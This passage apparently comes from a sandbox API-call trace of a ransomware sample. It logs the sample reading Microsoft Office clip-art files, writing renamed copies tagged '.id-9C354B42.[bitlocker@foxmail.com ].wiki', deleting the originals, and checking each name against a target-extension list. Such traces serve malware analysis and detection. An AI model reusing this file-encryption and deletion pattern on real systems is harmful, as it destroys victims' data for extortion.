liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0191.845] SetEndOfFile (hFile=0x1f4) returned 1 [0191.846] CloseHandle (hObject=0x1f4) returned 1 [0191.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0191.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0191.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0191.846] lstrlenW (lpString=".doc") returned 4 [0191.846] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.846] lstrlenW (lpString=".docx") returned 5 [0191.846] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0191.846] lstrlenW (lpString=".pdf") returned 4 [0191.846] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0192.005] lstrlenW (lpString=".xls") returned 4 [0192.005] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0192.005] lstrlenW (lpString=".xlsx") returned 5 [0192.005] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0192.005] lstrlenW (lpString=".ppt") returned 4 [0192.005] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0192.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0192.005] lstrlenW (lpString=".zip") returned 4 [0192.005] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0192.005] lstrlenW (lpString=".rar") returned 4 [0192.005] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0192.005] lstrlenW (lpString=".bz2") returned 4 [0192.005] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0192.005] lstrlenW (lpString=".7z") returned 3 [0192.005] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0192.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0192.005] lstrlenW (lpString=".dbf") returned 4 [0192.005] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0192.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0192.006] lstrlenW (lpString=".1cd") returned 4 [0192.006] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0192.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0192.006] lstrlenW (lpString=".jpg") returned 4 [0192.006] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0192.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0192.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0192.006] lstrlenW (lpString=".doc") returned 4 [0192.006] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0192.006] lstrlenW (lpString=".docx") returned 5 [0192.006] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0192.006] lstrlenW (lpString=".pdf") returned 4 [0192.006] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0192.006] lstrlenW (lpString=".xls") returned 4 [0192.006] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0192.006] lstrlenW (lpString=".xlsx") returned 5 [0192.006] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0192.006] lstrlenW (lpString=".ppt") returned 4 [0192.006] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0192.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0192.006] lstrlenW (lpString=".zip") returned 4 [0192.006] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0192.006] lstrlenW (lpString=".rar") returned 4 [0192.007] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0192.007] lstrlenW (lpString=".bz2") returned 4 [0192.007] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0192.007] lstrlenW (lpString=".7z") returned 3 [0192.007] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0192.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0192.007] lstrlenW (lpString=".dbf") returned 4 [0192.007] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0192.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0192.007] lstrlenW (lpString=".1cd") returned 4 [0192.007] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0192.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0192.007] lstrlenW (lpString=".jpg") returned 4 [0192.007] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0192.007] lstrcmpiW (lpString1=".BMP", lpString2=".wiki") returned -1 [0192.007] lstrlenW (lpString="J0101857.BMP") returned 12 [0192.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0192.024] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=32184) returned 1 [0192.024] CloseHandle (hObject=0x1dc) returned 1 [0192.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp")) returned 0x20 [0192.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0192.024] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.024] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0192.703] GetLastError () returned 0x0 [0192.703] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x7db8, lpOverlapped=0x0) returned 1 [0192.830] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.831] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.831] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.832] SetEndOfFile (hFile=0x200) returned 1 [0192.832] CloseHandle (hObject=0x200) returned 1 [0192.832] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.832] SetEndOfFile (hFile=0x1dc) returned 1 [0192.833] CloseHandle (hObject=0x1dc) returned 1 [0192.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0192.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0192.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0192.833] lstrlenW (lpString=".doc") returned 4 [0192.834] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.834] lstrlenW (lpString=".docx") returned 5 [0192.834] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0192.834] lstrlenW (lpString=".pdf") returned 4 [0192.834] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.834] lstrlenW (lpString=".xls") returned 4 [0192.834] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.834] lstrlenW (lpString=".xlsx") returned 5 [0192.834] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0192.834] lstrlenW (lpString=".ppt") returned 4 [0192.834] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0192.834] lstrlenW (lpString=".zip") returned 4 [0192.834] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.834] lstrlenW (lpString=".rar") returned 4 [0192.834] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.834] lstrlenW (lpString=".bz2") returned 4 [0192.834] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.834] lstrlenW (lpString=".7z") returned 3 [0192.834] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0192.834] lstrlenW (lpString=".dbf") returned 4 [0192.834] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0192.834] lstrlenW (lpString=".1cd") returned 4 [0192.834] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0192.834] lstrlenW (lpString=".jpg") returned 4 [0192.834] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0192.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0192.834] lstrlenW (lpString=".doc") returned 4 [0192.834] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.835] lstrlenW (lpString=".docx") returned 5 [0192.835] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0192.835] lstrlenW (lpString=".pdf") returned 4 [0192.835] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.835] lstrlenW (lpString=".xls") returned 4 [0192.835] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.835] lstrlenW (lpString=".xlsx") returned 5 [0192.835] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0192.835] lstrlenW (lpString=".ppt") returned 4 [0192.835] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0192.835] lstrlenW (lpString=".zip") returned 4 [0192.835] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.835] lstrlenW (lpString=".rar") returned 4 [0192.835] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.835] lstrlenW (lpString=".bz2") returned 4 [0192.835] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.835] lstrlenW (lpString=".7z") returned 3 [0192.835] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0192.836] lstrlenW (lpString=".dbf") returned 4 [0192.836] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0192.836] lstrlenW (lpString=".1cd") returned 4 [0192.836] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0192.836] lstrlenW (lpString=".jpg") returned 4 [0192.836] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.836] lstrcmpiW (lpString1=".BMP", lpString2=".wiki") returned -1 [0192.836] lstrlenW (lpString="J0101861.BMP") returned 12 [0192.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0192.837] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=32184) returned 1 [0192.837] CloseHandle (hObject=0x1dc) returned 1 [0192.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp")) returned 0x20 [0192.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0192.837] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.837] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0192.838] GetLastError () returned 0x0 [0192.838] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x7db8, lpOverlapped=0x0) returned 1 [0192.860] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.862] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.862] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.862] SetEndOfFile (hFile=0x200) returned 1 [0192.862] CloseHandle (hObject=0x200) returned 1 [0192.862] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.862] SetEndOfFile (hFile=0x1dc) returned 1 [0192.863] CloseHandle (hObject=0x1dc) returned 1 [0192.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0192.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0192.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0192.863] lstrlenW (lpString=".doc") returned 4 [0192.863] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.863] lstrlenW (lpString=".docx") returned 5 [0192.863] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0192.863] lstrlenW (lpString=".pdf") returned 4 [0192.863] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.863] lstrlenW (lpString=".xls") returned 4 [0192.864] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.864] lstrlenW (lpString=".xlsx") returned 5 [0192.864] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0192.864] lstrlenW (lpString=".ppt") returned 4 [0192.864] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0192.864] lstrlenW (lpString=".zip") returned 4 [0192.864] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.864] lstrlenW (lpString=".rar") returned 4 [0192.864] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.864] lstrlenW (lpString=".bz2") returned 4 [0192.864] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.864] lstrlenW (lpString=".7z") returned 3 [0192.864] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0192.864] lstrlenW (lpString=".dbf") returned 4 [0192.864] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0192.864] lstrlenW (lpString=".1cd") returned 4 [0192.864] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0192.864] lstrlenW (lpString=".jpg") returned 4 [0192.864] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0192.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0192.864] lstrlenW (lpString=".doc") returned 4 [0192.864] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.864] lstrlenW (lpString=".docx") returned 5 [0192.864] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0192.864] lstrlenW (lpString=".pdf") returned 4 [0192.865] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.865] lstrlenW (lpString=".xls") returned 4 [0192.865] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.865] lstrlenW (lpString=".xlsx") returned 5 [0192.865] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0192.865] lstrlenW (lpString=".ppt") returned 4 [0192.865] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0192.865] lstrlenW (lpString=".zip") returned 4 [0192.865] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.865] lstrlenW (lpString=".rar") returned 4 [0192.865] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.865] lstrlenW (lpString=".bz2") returned 4 [0192.865] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.865] lstrlenW (lpString=".7z") returned 3 [0192.865] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0192.865] lstrlenW (lpString=".dbf") returned 4 [0192.865] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0192.865] lstrlenW (lpString=".1cd") returned 4 [0192.865] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0192.865] lstrlenW (lpString=".jpg") returned 4 [0192.865] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.865] lstrcmpiW (lpString1=".BMP", lpString2=".wiki") returned -1 [0192.865] lstrlenW (lpString="J0101864.BMP") returned 12 [0192.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0192.866] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=31968) returned 1 [0192.866] CloseHandle (hObject=0x1dc) returned 1 [0192.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp")) returned 0x20 [0192.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0192.866] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.866] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0192.867] GetLastError () returned 0x0 [0192.867] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0192.885] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0192.886] ReadFile (in: hFile=0x1dc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.886] WriteFile (in: hFile=0x200, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.887] SetEndOfFile (hFile=0x200) returned 1 [0192.887] CloseHandle (hObject=0x200) returned 1 [0192.887] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.887] SetEndOfFile (hFile=0x1dc) returned 1 [0192.888] CloseHandle (hObject=0x1dc) returned 1 [0192.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0192.888] lstrlenW (lpString="C:\\Program Files\\Microsoft 